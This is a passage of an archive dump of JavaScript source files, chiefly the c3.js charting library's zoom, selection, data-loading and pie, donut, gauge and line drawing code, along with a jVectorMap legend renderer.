targets.forEach(function (t) { var values = $$.isStepType(d) ? $$.convertValuesToStep(t.values) : t.values; if (t.id === d.id || indices[t.id] !== indices[d.id]) { return; } if (targetIds.indexOf(t.id) < targetIds.indexOf(d.id)) { // check if the x values line up if (typeof values[i] === 'undefined' || +values[i].x !== +d.x) { // "+" for timeseries // if not, try to find the value that does line up i = -1; values.forEach(function (v, j) { if (v.x === d.x) { i = j; } }); } if (i in values && values[i].value * d.value >= 0) { offset += scale(values[i].value) - y0; } } }); return offset; }; }; ChartInternal.prototype.isWithinShape = function (that, d) { var $$ = this, shape = $$.d3.select(that), isWithin; if (!$$.isTargetToShow(d.id)) { isWithin = false; } else if (that.nodeName === 'circle') { isWithin = $$.isStepType(d) ? $$.isWithinStep(that, $$.getYScale(d.id)(d.value)) : $$.isWithinCircle(that, $$.pointSelectR(d) * 1.5); } else if (that.nodeName === 'path') { isWithin = shape.classed(CLASS.bar) ? $$.isWithinBar($$.d3.mouse(that), that) : true; } return isWithin; }; ChartInternal.prototype.getInterpolate = function (d) { var $$ = this, d3 = $$.d3, types = { 'linear': d3.curveLinear, 'linear-closed': d3.curveLinearClosed, 'basis': d3.curveBasis, 'basis-open': d3.curveBasisOpen, 'basis-closed': d3.curveBasisClosed, 'bundle': d3.curveBundle, 'cardinal': d3.curveCardinal, 'cardinal-open': d3.curveCardinalOpen, 'cardinal-closed': d3.curveCardinalClosed, 'monotone': d3.curveMonotoneX, 'step': d3.curveStep, 'step-before': d3.curveStepBefore, 'step-after': d3.curveStepAfter }, type; if ($$.isSplineType(d)) { type = types[$$.config.spline_interpolation_type] || types.cardinal; } else if ($$.isStepType(d)) { type = types[$$.config.line_step_type]; } else { type = types.linear; } return type; }; api.zoom.js000064400000003755151677320360006662 0ustar00import { Chart } from './core'; import { isDefined } from './util'; Chart.prototype.zoom = function (domain) { var $$ = this.internal; if (domain) { if ($$.isTimeSeries()) { domain = domain.map(function (x) { return $$.parseDate(x); }); } if ($$.config.subchart_show) { $$.brush.selectionAsValue(domain, true); } else { $$.updateXDomain(null, true, false, false, domain); $$.redraw({withY: $$.config.zoom_rescale, withSubchart: false}); } $$.config.zoom_onzoom.call(this, $$.x.orgDomain()); return domain; } else { return $$.x.domain(); } }; Chart.prototype.zoom.enable = function (enabled) { var $$ = this.internal; $$.config.zoom_enabled = enabled; $$.updateAndRedraw(); }; Chart.prototype.unzoom = function () { var $$ = this.internal; if ($$.config.subchart_show) { $$.brush.clear(); } else { $$.updateXDomain(null, true, false, false, $$.subX.domain()); $$.redraw({withY: $$.config.zoom_rescale, withSubchart: false}); } }; Chart.prototype.zoom.max = function (max) { var $$ = this.internal, config = $$.config, d3 = $$.d3; if (max === 0 || max) { config.zoom_x_max = d3.max([$$.orgXDomain[1], max]); } else { return config.zoom_x_max; } }; Chart.prototype.zoom.min = function (min) { var $$ = this.internal, config = $$.config, d3 = $$.d3; if (min === 0 || min) { config.zoom_x_min = d3.min([$$.orgXDomain[0], min]); } else { return config.zoom_x_min; } }; Chart.prototype.zoom.range = function (range) { if (arguments.length) { if (isDefined(range.max)) { this.domain.max(range.max); } if (isDefined(range.min)) { this.domain.min(range.min); } } else { return { max: this.domain.max(), min: this.domain.min() }; } }; api.x.js000064400000001035151677320360006132 0ustar00import { Chart } from './core'; Chart.prototype.x = function (x) { var $$ = this.internal; if (arguments.length) { $$.updateTargetX($$.data.targets, x); $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true}); } return $$.data.xs; }; Chart.prototype.xs = function (xs) { var $$ = this.internal; if (arguments.length) { $$.updateTargetXs($$.data.targets, xs); $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true}); } return $$.data.xs; }; cache.js000064400000001106151677320360006155 0ustar00import { ChartInternal } from './core'; ChartInternal.prototype.hasCaches = function (ids) { for (var i = 0; i < ids.length; i++) { if (! (ids[i] in this.cache)) { return false; } } return true; }; ChartInternal.prototype.addCache = function (id, target) { this.cache[id] = this.cloneTarget(target); }; ChartInternal.prototype.getCaches = function (ids) { var targets = [], i; for (i = 0; i < ids.length; i++) { if (ids[i] in this.cache) { targets.push(this.cloneTarget(this.cache[ids[i]])); } } return targets; }; ua.js000064400000000525151677320360005523 0ustar00import { ChartInternal } from './core'; ChartInternal.prototype.isSafari = function () { var ua = window.navigator.userAgent; return ua.indexOf('Safari') >= 0 && ua.indexOf('Chrome') < 0; }; ChartInternal.prototype.isChrome = function () { var ua = window.navigator.userAgent; return ua.indexOf('Chrome') >= 0; }; api.selection.js000064400000005306151677320360007655 0ustar00import CLASS from './class'; import { Chart } from './core'; import { isDefined } from './util'; Chart.prototype.selected = function (targetId) { var $$ = this.internal, d3 = $$.d3; return d3.merge( $$.main.selectAll('.' + CLASS.shapes + $$.getTargetSelectorSuffix(targetId)).selectAll('.' + CLASS.shape) .filter(function () { return d3.select(this).classed(CLASS.SELECTED); }) .map(function (d) { return d.map(function (d) { var data = d.__data__; return data.data ? data.data : data; }); }) ); }; Chart.prototype.select = function (ids, indices, resetOther) { var $$ = this.internal, d3 = $$.d3, config = $$.config; if (! config.data_selection_enabled) { return; } $$.main.selectAll('.' + CLASS.shapes).selectAll('.' + CLASS.shape).each(function (d, i) { var shape = d3.select(this), id = d.data ? d.data.id : d.id, toggle = $$.getToggle(this, d).bind($$), isTargetId = config.data_selection_grouped || !ids || ids.indexOf(id) >= 0, isTargetIndex = !indices || indices.indexOf(i) >= 0, isSelected = shape.classed(CLASS.SELECTED); // line/area selection not supported yet if (shape.classed(CLASS.line) || shape.classed(CLASS.area)) { return; } if (isTargetId && isTargetIndex) { if (config.data_selection_isselectable(d) && !isSelected) { toggle(true, shape.classed(CLASS.SELECTED, true), d, i); } } else if (isDefined(resetOther) && resetOther) { if (isSelected) { toggle(false, shape.classed(CLASS.SELECTED, false), d, i); } } }); }; Chart.prototype.unselect = function (ids, indices) { var $$ = this.internal, d3 = $$.d3, config = $$.config; if (! config.data_selection_enabled) { return; } $$.main.selectAll('.' + CLASS.shapes).selectAll('.' + CLASS.shape).each(function (d, i) { var shape = d3.select(this), id = d.data ? d.data.id : d.id, toggle = $$.getToggle(this, d).bind($$), isTargetId = config.data_selection_grouped || !ids || ids.indexOf(id) >= 0, isTargetIndex = !indices || indices.indexOf(i) >= 0, isSelected = shape.classed(CLASS.SELECTED); // line/area selection not supported yet if (shape.classed(CLASS.line) || shape.classed(CLASS.area)) { return; } if (isTargetId && isTargetIndex) { if (config.data_selection_isselectable(d)) { if (isSelected) { toggle(false, shape.classed(CLASS.SELECTED, false), d, i); } } } }); }; api.data.js000064400000002076151677320360006602 0ustar00import { Chart } from './core'; Chart.prototype.data = function (targetIds) { var targets = this.internal.data.targets; return typeof targetIds === 'undefined' ? targets : targets.filter(function (t) { return [].concat(targetIds).indexOf(t.id) >= 0; }); }; Chart.prototype.data.shown = function (targetIds) { return this.internal.filterTargetsToShow(this.data(targetIds)); }; Chart.prototype.data.values = function (targetId) { var targets, values = null; if (targetId) { targets = this.data(targetId); values = targets[0] ? targets[0].values.map(function (d) { return d.value; }) : null; } return values; }; Chart.prototype.data.names = function (names) { this.internal.clearLegendItemTextBoxCache(); return this.internal.updateDataAttributes('names', names); }; Chart.prototype.data.colors = function (colors) { return this.internal.updateDataAttributes('colors', colors); }; Chart.prototype.data.axes = function (axes) { return this.internal.updateDataAttributes('axes', axes); }; api.transform.js000064400000001367151677320360007706 0ustar00import { Chart, ChartInternal } from './core'; Chart.prototype.transform = function (type, targetIds) { var $$ = this.internal, options = ['pie', 'donut'].indexOf(type) >= 0 ? {withTransform: true} : null; $$.transformTo(targetIds, type, options); }; ChartInternal.prototype.transformTo = function (targetIds, type, optionsForRedraw) { var $$ = this, withTransitionForAxis = !$$.hasArcType(), options = optionsForRedraw || {withTransitionForAxis: withTransitionForAxis}; options.withTransitionForTransform = false; $$.transiting = false; $$.setTargetType(targetIds, type); $$.updateTargets($$.data.targets); // this is needed when transforming to arc $$.updateAndRedraw(options); }; legend.js000064400000005300151677320360006350 0ustar00/** * Represents map legend. * @constructor * @param {Object} params Configuration parameters. * @param {String} params.cssClass Additional CSS class to apply to legend element. * @param {Boolean} params.vertical If <code>true</code> legend will be rendered as vertical. * @param {String} params.title Legend title. * @param {Function} params.labelRender Method to convert series values to legend labels. */ jvm.Legend = function(params) { this.params = params || {}; this.map = this.params.map; this.series = this.params.series; this.body = jvm.$('<div/>'); this.body.addClass('jvectormap-legend'); if (this.params.cssClass) { this.body.addClass(this.params.cssClass); } if (params.vertical) { this.map.legendCntVertical.append( this.body ); } else { this.map.legendCntHorizontal.append( this.body ); } this.render(); } jvm.Legend.prototype.render = function(){ var ticks = this.series.scale.getTicks(), i, inner = jvm.$('<div/>').addClass('jvectormap-legend-inner'), tick, sample, label; this.body.html(''); if (this.params.title) { this.body.append( jvm.$('<div/>').addClass('jvectormap-legend-title').html(this.params.title) ); } this.body.append(inner); for (i = 0; i < ticks.length; i++) { tick = jvm.$('<div/>').addClass('jvectormap-legend-tick'); sample = jvm.$('<div/>').addClass('jvectormap-legend-tick-sample'); switch (this.series.params.attribute) { case 'fill': if (jvm.isImageUrl(ticks[i].value)) { sample.css('background', 'url('+ticks[i].value+')'); } else { sample.css('background', ticks[i].value); } break; case 'stroke': sample.css('background', ticks[i].value); break; case 'image': sample.css('background', 'url('+ticks[i].value+') no-repeat center center'); break; case 'r': jvm.$('<div/>').css({ 'border-radius': ticks[i].value, border: this.map.params.markerStyle.initial['stroke-width']+'px '+ this.map.params.markerStyle.initial['stroke']+' solid', width: ticks[i].value * 2 + 'px', height: ticks[i].value * 2 + 'px', background: this.map.params.markerStyle.initial['fill'] }).appendTo(sample); break; } tick.append( sample ); label = ticks[i].label; if (this.params.labelRender) { label = this.params.labelRender(label); } tick.append( jvm.$('<div>'+label+' </div>').addClass('jvectormap-legend-tick-text') ); inner.append(tick); } inner.append( jvm.$('<div/>').css('clear', 'both') ); }api.load.js000064400000004006151677320360006603 0ustar00import { Chart } from './core'; Chart.prototype.load = function (args) { var $$ = this.internal, config = $$.config; // update xs if specified if (args.xs) { $$.addXs(args.xs); } // update names if exists if ('names' in args) { Chart.prototype.data.names.bind(this)(args.names); } // update classes if exists if ('classes' in args) { Object.keys(args.classes).forEach(function (id) { config.data_classes[id] = args.classes[id]; }); } // update categories if exists if ('categories' in args && $$.isCategorized()) { config.axis_x_categories = args.categories; } // update axes if exists if ('axes' in args) { Object.keys(args.axes).forEach(function (id) { config.data_axes[id] = args.axes[id]; }); } // update colors if exists if ('colors' in args) { Object.keys(args.colors).forEach(function (id) { config.data_colors[id] = args.colors[id]; }); } // use cache if exists if ('cacheIds' in args && $$.hasCaches(args.cacheIds)) { $$.load($$.getCaches(args.cacheIds), args.done); return; } // unload if needed if ('unload' in args) { // TODO: do not unload if target will load (included in url/rows/columns) $$.unload($$.mapToTargetIds((typeof args.unload === 'boolean' && args.unload) ? null : args.unload), function () { $$.loadFromArgs(args); }); } else { $$.loadFromArgs(args); } }; Chart.prototype.unload = function (args) { var $$ = this.internal; args = args || {}; if (args instanceof Array) { args = {ids: args}; } else if (typeof args === 'string') { args = {ids: [args]}; } $$.unload($$.mapToTargetIds(args.ids), function () { $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true}); if (args.done) { args.done(); } }); }; arc.js000064400000053207151677320360005670 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isFunction } from './util'; ChartInternal.prototype.initPie = function () { var $$ = this, d3 = $$.d3; $$.pie = d3.pie().value(function (d) { return d.values.reduce(function (a, b) { return a + b.value; }, 0); }); let orderFct = $$.getOrderFunction(); // we need to reverse the returned order if asc or desc to have the slice in expected order. if (orderFct && ($$.isOrderAsc() || $$.isOrderDesc())) { let defaultSort = orderFct; orderFct = (t1, t2) => defaultSort(t1, t2) * -1; } $$.pie.sort(orderFct || null); }; ChartInternal.prototype.updateRadius = function () { var $$ = this, config = $$.config, w = config.gauge_width || config.donut_width, gaugeArcWidth = $$.filterTargetsToShow($$.data.targets).length * $$.config.gauge_arcs_minWidth; $$.radiusExpanded = Math.min($$.arcWidth, $$.arcHeight) / 2 * ($$.hasType('gauge') ? 0.85 : 1); $$.radius = $$.radiusExpanded * 0.95; $$.innerRadiusRatio = w ? ($$.radius - w) / $$.radius : 0.6; $$.innerRadius = $$.hasType('donut') || $$.hasType('gauge') ? $$.radius * $$.innerRadiusRatio : 0; $$.gaugeArcWidth = w ? w : (gaugeArcWidth <= $$.radius - $$.innerRadius ? $$.radius - $$.innerRadius : (gaugeArcWidth <= $$.radius ? gaugeArcWidth : $$.radius)); }; ChartInternal.prototype.updateArc = function () { var $$ = this; $$.svgArc = $$.getSvgArc(); $$.svgArcExpanded = $$.getSvgArcExpanded(); $$.svgArcExpandedSub = $$.getSvgArcExpanded(0.98); }; ChartInternal.prototype.updateAngle = function (d) { var $$ = this, config = $$.config, found = false, index = 0, gMin, gMax, gTic, gValue; if (!config) { return null; } $$.pie($$.filterTargetsToShow($$.data.targets)).forEach(function (t) { if (! found && t.data.id === d.data.id) { found = true; d = t; d.index = index; } index++; }); if (isNaN(d.startAngle)) { d.startAngle = 0; } if (isNaN(d.endAngle)) { d.endAngle = d.startAngle; } if ($$.isGaugeType(d.data)) { gMin = config.gauge_min; gMax = config.gauge_max; gTic = (Math.PI * (config.gauge_fullCircle ? 2 : 1)) / (gMax - gMin); gValue = d.value < gMin ? 0 : d.value < gMax ? d.value - gMin : (gMax - gMin); d.startAngle = config.gauge_startingAngle; d.endAngle = d.startAngle + gTic * gValue; } return found ? d : null; }; ChartInternal.prototype.getSvgArc = function () { var $$ = this, hasGaugeType = $$.hasType('gauge'), singleArcWidth = $$.gaugeArcWidth / $$.filterTargetsToShow($$.data.targets).length, arc = $$.d3.arc().outerRadius(function(d) { return hasGaugeType ? $$.radius - singleArcWidth * d.index : $$.radius; }).innerRadius(function(d) { return hasGaugeType ? $$.radius - singleArcWidth * (d.index + 1) : $$.innerRadius; }), newArc = function (d, withoutUpdate) { var updated; if (withoutUpdate) { return arc(d); } // for interpolate updated = $$.updateAngle(d); return updated ? arc(updated) : "M 0 0"; }; // TODO: extends all function newArc.centroid = arc.centroid; return newArc; }; ChartInternal.prototype.getSvgArcExpanded = function (rate) { rate = rate || 1; var $$ = this, hasGaugeType = $$.hasType('gauge'), singleArcWidth = $$.gaugeArcWidth / $$.filterTargetsToShow($$.data.targets).length, expandWidth = Math.min($$.radiusExpanded * rate - $$.radius, singleArcWidth * 0.8 - (1 - rate) * 100), arc = $$.d3.arc().outerRadius(function(d){ return hasGaugeType ? $$.radius - singleArcWidth * d.index + expandWidth : $$.radiusExpanded * rate; }).innerRadius(function(d){ return hasGaugeType ? $$.radius - singleArcWidth * (d.index + 1) : $$.innerRadius; }); return function (d) { var updated = $$.updateAngle(d); return updated ? arc(updated) : "M 0 0"; }; }; ChartInternal.prototype.getArc = function (d, withoutUpdate, force) { return force || this.isArcType(d.data) ? this.svgArc(d, withoutUpdate) : "M 0 0"; }; ChartInternal.prototype.transformForArcLabel = function (d) { var $$ = this, config = $$.config, updated = $$.updateAngle(d), c, x, y, h, ratio, translate = "", hasGauge = $$.hasType('gauge'); if (updated && !hasGauge) { c = this.svgArc.centroid(updated); x = isNaN(c[0]) ? 0 : c[0]; y = isNaN(c[1]) ? 0 : c[1]; h = Math.sqrt(x * x + y * y); if ($$.hasType('donut') && config.donut_label_ratio) { ratio = isFunction(config.donut_label_ratio) ? config.donut_label_ratio(d, $$.radius, h) : config.donut_label_ratio; } else if ($$.hasType('pie') && config.pie_label_ratio) { ratio = isFunction(config.pie_label_ratio) ? config.pie_label_ratio(d, $$.radius, h) : config.pie_label_ratio; } else { ratio = $$.radius && h ? (36 / $$.radius > 0.375 ? 1.175 - 36 / $$.radius : 0.8) * $$.radius / h : 0; } translate = "translate(" + (x * ratio) + ',' + (y * ratio) + ")"; } else if (updated && hasGauge && $$.filterTargetsToShow($$.data.targets).length > 1) { var y1 = Math.sin(updated.endAngle - Math.PI / 2); x = Math.cos(updated.endAngle - Math.PI / 2) * ($$.radiusExpanded + 25); y = y1 * ($$.radiusExpanded + 15 - Math.abs(y1 * 10)) + 3; translate = "translate(" + x + ',' + y + ")"; } return translate; }; ChartInternal.prototype.getArcRatio = function (d) { var $$ = this, config = $$.config, whole = Math.PI * ($$.hasType('gauge') && !config.gauge_fullCircle ? 1 : 2); return d ? (d.endAngle - d.startAngle) / whole : null; }; ChartInternal.prototype.convertToArcData = function (d) { return this.addName({ id: d.data.id, value: d.value, ratio: this.getArcRatio(d), index: d.index }); }; ChartInternal.prototype.textForArcLabel = function (d) { var $$ = this, updated, value, ratio, id, format; if (! $$.shouldShowArcLabel()) { return ""; } updated = $$.updateAngle(d); value = updated ? updated.value : null; ratio = $$.getArcRatio(updated); id = d.data.id; if (! $$.hasType('gauge') && ! $$.meetsArcLabelThreshold(ratio)) { return ""; } format = $$.getArcLabelFormat(); return format ? format(value, ratio, id) : $$.defaultArcValueFormat(value, ratio); }; ChartInternal.prototype.textForGaugeMinMax = function (value, isMax) { var $$ = this, format = $$.getGaugeLabelExtents(); return format ? format(value, isMax) : value; }; ChartInternal.prototype.expandArc = function (targetIds) { var $$ = this, interval; // MEMO: avoid to cancel transition if ($$.transiting) { interval = window.setInterval(function () { if (!$$.transiting) { window.clearInterval(interval); if ($$.legend.selectAll('.c3-legend-item-focused').size() > 0) { $$.expandArc(targetIds); } } }, 10); return; } targetIds = $$.mapToTargetIds(targetIds); $$.svg.selectAll($$.selectorTargets(targetIds, '.' + CLASS.chartArc)).each(function (d) { if (! $$.shouldExpand(d.data.id)) { return; } $$.d3.select(this).selectAll('path') .transition().duration($$.expandDuration(d.data.id)) .attr("d", $$.svgArcExpanded) .transition().duration($$.expandDuration(d.data.id) * 2) .attr("d", $$.svgArcExpandedSub) .each(function (d) { if ($$.isDonutType(d.data)) { // callback here } }); }); }; ChartInternal.prototype.unexpandArc = function (targetIds) { var $$ = this; if ($$.transiting) { return; } targetIds = $$.mapToTargetIds(targetIds); $$.svg.selectAll($$.selectorTargets(targetIds, '.' + CLASS.chartArc)).selectAll('path') .transition().duration(function(d) { return $$.expandDuration(d.data.id); }) .attr("d", $$.svgArc); $$.svg.selectAll('.' + CLASS.arc); }; ChartInternal.prototype.expandDuration = function (id) { var $$ = this, config = $$.config; if ($$.isDonutType(id)) { return config.donut_expand_duration; } else if ($$.isGaugeType(id)) { return config.gauge_expand_duration; } else if ($$.isPieType(id)) { return config.pie_expand_duration; } else { return 50; } }; ChartInternal.prototype.shouldExpand = function (id) { var $$ = this, config = $$.config; return ($$.isDonutType(id) && config.donut_expand) || ($$.isGaugeType(id) && config.gauge_expand) || ($$.isPieType(id) && config.pie_expand); }; ChartInternal.prototype.shouldShowArcLabel = function () { var $$ = this, config = $$.config, shouldShow = true; if ($$.hasType('donut')) { shouldShow = config.donut_label_show; } else if ($$.hasType('pie')) { shouldShow = config.pie_label_show; } // when gauge, always true return shouldShow; }; ChartInternal.prototype.meetsArcLabelThreshold = function (ratio) { var $$ = this, config = $$.config, threshold = $$.hasType('donut') ? config.donut_label_threshold : config.pie_label_threshold; return ratio >= threshold; }; ChartInternal.prototype.getArcLabelFormat = function () { var $$ = this, config = $$.config, format = config.pie_label_format; if ($$.hasType('gauge')) { format = config.gauge_label_format; } else if ($$.hasType('donut')) { format = config.donut_label_format; } return format; }; ChartInternal.prototype.getGaugeLabelExtents = function () { var $$ = this, config = $$.config; return config.gauge_label_extents; }; ChartInternal.prototype.getArcTitle = function () { var $$ = this; return $$.hasType('donut') ? $$.config.donut_title : ""; }; ChartInternal.prototype.updateTargetsForArc = function (targets) { var $$ = this, main = $$.main, mainPies, mainPieEnter, classChartArc = $$.classChartArc.bind($$), classArcs = $$.classArcs.bind($$), classFocus = $$.classFocus.bind($$); mainPies = main.select('.' + CLASS.chartArcs).selectAll('.' + CLASS.chartArc) .data($$.pie(targets)) .attr("class", function (d) { return classChartArc(d) + classFocus(d.data); }); mainPieEnter = mainPies.enter().append("g") .attr("class", classChartArc); mainPieEnter.append('g') .attr('class', classArcs); mainPieEnter.append("text") .attr("dy", $$.hasType('gauge') ? "-.1em" : ".35em") .style("opacity", 0) .style("text-anchor", "middle") .style("pointer-events", "none"); // MEMO: can not keep same color..., but not bad to update color in redraw //mainPieUpdate.exit().remove(); }; ChartInternal.prototype.initArc = function () { var $$ = this; $$.arcs = $$.main.select('.' + CLASS.chart).append("g") .attr("class", CLASS.chartArcs) .attr("transform", $$.getTranslate('arc')); $$.arcs.append('text') .attr('class', CLASS.chartArcsTitle) .style("text-anchor", "middle") .text($$.getArcTitle()); }; ChartInternal.prototype.redrawArc = function (duration, durationForExit, withTransform) { var $$ = this, d3 = $$.d3, config = $$.config, main = $$.main, arcs, mainArc, arcLabelLines, mainArcLabelLine, hasGaugeType = $$.hasType('gauge'); arcs = main.selectAll('.' + CLASS.arcs).selectAll('.' + CLASS.arc) .data($$.arcData.bind($$)); mainArc = arcs.enter().append('path') .attr("class", $$.classArc.bind($$)) .style("fill", function (d) { return $$.color(d.data); }) .style("cursor", function (d) { return config.interaction_enabled && config.data_selection_isselectable(d) ? "pointer" : null; }) .each(function (d) { if ($$.isGaugeType(d.data)) { d.startAngle = d.endAngle = config.gauge_startingAngle; } this._current = d; }) .merge(arcs); if (hasGaugeType) { arcLabelLines = main.selectAll('.' + CLASS.arcs).selectAll('.' + CLASS.arcLabelLine) .data($$.arcData.bind($$)); mainArcLabelLine = arcLabelLines.enter().append('rect') .attr("class", function (d) { return CLASS.arcLabelLine + ' ' + CLASS.target + ' ' + CLASS.target + '-' + d.data.id; }) .merge(arcLabelLines); if ($$.filterTargetsToShow($$.data.targets).length === 1) { mainArcLabelLine.style("display", "none"); } else { mainArcLabelLine .style("fill", function (d) { return config.color_pattern.length > 0 ? $$.levelColor(d.data.values[0].value) : $$.color(d.data); }) .style("display", config.gauge_labelLine_show ? "" : "none") .each(function (d) { var lineLength = 0, lineThickness = 2, x = 0, y = 0, transform = ""; if ($$.hiddenTargetIds.indexOf(d.data.id) < 0) { var updated = $$.updateAngle(d), innerLineLength = $$.gaugeArcWidth / $$.filterTargetsToShow($$.data.targets).length * (updated.index + 1), lineAngle = updated.endAngle - Math.PI / 2, arcInnerRadius = $$.radius - innerLineLength, linePositioningAngle = lineAngle - (arcInnerRadius === 0 ? 0 : (1 / arcInnerRadius)); lineLength = $$.radiusExpanded - $$.radius + innerLineLength; x = Math.cos(linePositioningAngle) * arcInnerRadius; y = Math.sin(linePositioningAngle) * arcInnerRadius; transform = "rotate(" + (lineAngle * 180 / Math.PI) + ", " + x + ", " + y + ")"; } d3.select(this) .attr('x', x) .attr('y', y) .attr('width', lineLength) .attr('height', lineThickness) .attr('transform', transform) .style("stroke-dasharray", "0, " + (lineLength + lineThickness) + ", 0"); }); } } mainArc .attr("transform", function (d) { return !$$.isGaugeType(d.data) && withTransform ? "scale(0)" : ""; }) .on('mouseover', config.interaction_enabled ? function (d) { var updated, arcData; if ($$.transiting) { // skip while transiting return; } updated = $$.updateAngle(d); if (updated) { arcData = $$.convertToArcData(updated); // transitions $$.expandArc(updated.data.id); $$.api.focus(updated.data.id); $$.toggleFocusLegend(updated.data.id, true); $$.config.data_onmouseover(arcData, this); } } : null) .on('mousemove', config.interaction_enabled ? function (d) { var updated = $$.updateAngle(d), arcData, selectedData; if (updated) { arcData = $$.convertToArcData(updated), selectedData = [arcData]; $$.showTooltip(selectedData, this); } } : null) .on('mouseout', config.interaction_enabled ? function (d) { var updated, arcData; if ($$.transiting) { // skip while transiting return; } updated = $$.updateAngle(d); if (updated) { arcData = $$.convertToArcData(updated); // transitions $$.unexpandArc(updated.data.id); $$.api.revert(); $$.revertLegend(); $$.hideTooltip(); $$.config.data_onmouseout(arcData, this); } } : null) .on('click', config.interaction_enabled ? function (d, i) { var updated = $$.updateAngle(d), arcData; if (updated) { arcData = $$.convertToArcData(updated); if ($$.toggleShape) { $$.toggleShape(this, arcData, i); } $$.config.data_onclick.call($$.api, arcData, this); } } : null) .each(function () { $$.transiting = true; }) .transition().duration(duration) .attrTween("d", function (d) { var updated = $$.updateAngle(d), interpolate; if (! updated) { return function () { return "M 0 0"; }; } // if (this._current === d) { // this._current = { // startAngle: Math.PI*2, // endAngle: Math.PI*2, // }; // } if (isNaN(this._current.startAngle)) { this._current.startAngle = 0; } if (isNaN(this._current.endAngle)) { this._current.endAngle = this._current.startAngle; } interpolate = d3.interpolate(this._current, updated); this._current = interpolate(0); return function (t) { var interpolated = interpolate(t); interpolated.data = d.data; // data.id will be updated by interporator return $$.getArc(interpolated, true); }; }) .attr("transform", withTransform ? "scale(1)" : "") .style("fill", function (d) { return $$.levelColor ? $$.levelColor(d.data.values[0].value) : $$.color(d.data.id); }) // Where gauge reading color would receive customization. .call($$.endall, function () { $$.transiting = false; }); arcs.exit().transition().duration(durationForExit) .style('opacity', 0) .remove(); main.selectAll('.' + CLASS.chartArc).select('text') .style("opacity", 0) .attr('class', function (d) { return $$.isGaugeType(d.data) ? CLASS.gaugeValue : ''; }) .text($$.textForArcLabel.bind($$)) .attr("transform", $$.transformForArcLabel.bind($$)) .style('font-size', function (d) { return $$.isGaugeType(d.data) && $$.filterTargetsToShow($$.data.targets).length === 1 ? Math.round($$.radius / 5) + 'px' : ''; }) .transition().duration(duration) .style("opacity", function (d) { return $$.isTargetToShow(d.data.id) && $$.isArcType(d.data) ? 1 : 0; }); main.select('.' + CLASS.chartArcsTitle) .style("opacity", $$.hasType('donut') || hasGaugeType ? 1 : 0); if (hasGaugeType) { let index = 0; const backgroundArc = $$.arcs.select('g.' + CLASS.chartArcsBackground).selectAll('path.' + CLASS.chartArcsBackground).data($$.data.targets); backgroundArc .enter() .append("path") .attr("class", (d, i) => CLASS.chartArcsBackground + ' ' + CLASS.chartArcsBackground +'-'+ i) .merge(backgroundArc) .attr("d", d1 => { if ($$.hiddenTargetIds.indexOf(d1.id) >= 0) { return "M 0 0"; } var d = { data: [{value: config.gauge_max}], startAngle: config.gauge_startingAngle, endAngle: -1 * config.gauge_startingAngle * (config.gauge_fullCircle ? Math.PI : 1), index: index++ }; return $$.getArc(d, true, true); }); backgroundArc .exit() .remove(); $$.arcs.select('.' + CLASS.chartArcsGaugeUnit) .attr("dy", ".75em") .text(config.gauge_label_show ? config.gauge_units : ''); $$.arcs.select('.' + CLASS.chartArcsGaugeMin) .attr("dx", -1 * ($$.innerRadius + (($$.radius - $$.innerRadius) / (config.gauge_fullCircle ? 1 : 2))) + "px") .attr("dy", "1.2em") .text(config.gauge_label_show ? $$.textForGaugeMinMax(config.gauge_min, false) : ''); $$.arcs.select('.' + CLASS.chartArcsGaugeMax) .attr("dx", $$.innerRadius + (($$.radius - $$.innerRadius) / (config.gauge_fullCircle ? 1 : 2)) + "px") .attr("dy", "1.2em") .text(config.gauge_label_show ? $$.textForGaugeMinMax(config.gauge_max, true) : ''); } }; ChartInternal.prototype.initGauge = function () { var arcs = this.arcs; if (this.hasType('gauge')) { arcs.append('g') .attr("class", CLASS.chartArcsBackground); arcs.append("text") .attr("class", CLASS.chartArcsGaugeUnit) .style("text-anchor", "middle") .style("pointer-events", "none"); arcs.append("text") .attr("class", CLASS.chartArcsGaugeMin) .style("text-anchor", "middle") .style("pointer-events", "none"); arcs.append("text") .attr("class", CLASS.chartArcsGaugeMax) .style("text-anchor", "middle") .style("pointer-events", "none"); } }; ChartInternal.prototype.getGaugeLabelHeight = function () { return this.config.gauge_label_show ? 20 : 0; }; shape.line.js000064400000040655151677320360007154 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isValue, isFunction, isUndefined, isDefined } from './util'; ChartInternal.prototype.initLine = function () { var $$ = this; $$.main.select('.' + CLASS.chart).append("g") .attr("class", CLASS.chartLines); }; ChartInternal.prototype.updateTargetsForLine = function (targets) { var $$ = this, config = $$.config, mainLines, mainLineEnter, classChartLine = $$.classChartLine.bind($$), classLines = $$.classLines.bind($$), classAreas = $$.classAreas.bind($$), classCircles = $$.classCircles.bind($$), classFocus = $$.classFocus.bind($$); mainLines = $$.main.select('.' + CLASS.chartLines).selectAll('.' + CLASS.chartLine) .data(targets) .attr('class', function (d) { return classChartLine(d) + classFocus(d); }); mainLineEnter = mainLines.enter().append('g') .attr('class', classChartLine) .style('opacity', 0) .style("pointer-events", "none"); // Lines for each data mainLineEnter.append('g') .attr("class", classLines); // Areas mainLineEnter.append('g') .attr('class', classAreas); // Circles for each data point on lines mainLineEnter.append('g') .attr("class", function (d) { return $$.generateClass(CLASS.selectedCircles, d.id); }); mainLineEnter.append('g') .attr("class", classCircles) .style("cursor", function (d) { return config.data_selection_isselectable(d) ? "pointer" : null; }); // Update date for selected circles targets.forEach(function (t) { $$.main.selectAll('.' + CLASS.selectedCircles + $$.getTargetSelectorSuffix(t.id)).selectAll('.' + CLASS.selectedCircle).each(function (d) { d.value = t.values[d.index].value; }); }); // MEMO: can not keep same color... //mainLineUpdate.exit().remove(); }; ChartInternal.prototype.updateLine = function (durationForExit) { var $$ = this; var mainLine = $$.main.selectAll('.' + CLASS.lines).selectAll('.' + CLASS.line) .data($$.lineData.bind($$)); var mainLineEnter = mainLine.enter().append('path') .attr('class', $$.classLine.bind($$)) .style("stroke", $$.color); $$.mainLine = mainLineEnter.merge(mainLine) .style("opacity", $$.initialOpacity.bind($$)) .style('shape-rendering', function (d) { return $$.isStepType(d) ? 'crispEdges' : ''; }) .attr('transform', null); mainLine.exit().transition().duration(durationForExit) .style('opacity', 0); }; ChartInternal.prototype.redrawLine = function (drawLine, withTransition, transition) { return [ (withTransition ? this.mainLine.transition(transition) : this.mainLine) .attr("d", drawLine) .style("stroke", this.color) .style("opacity", 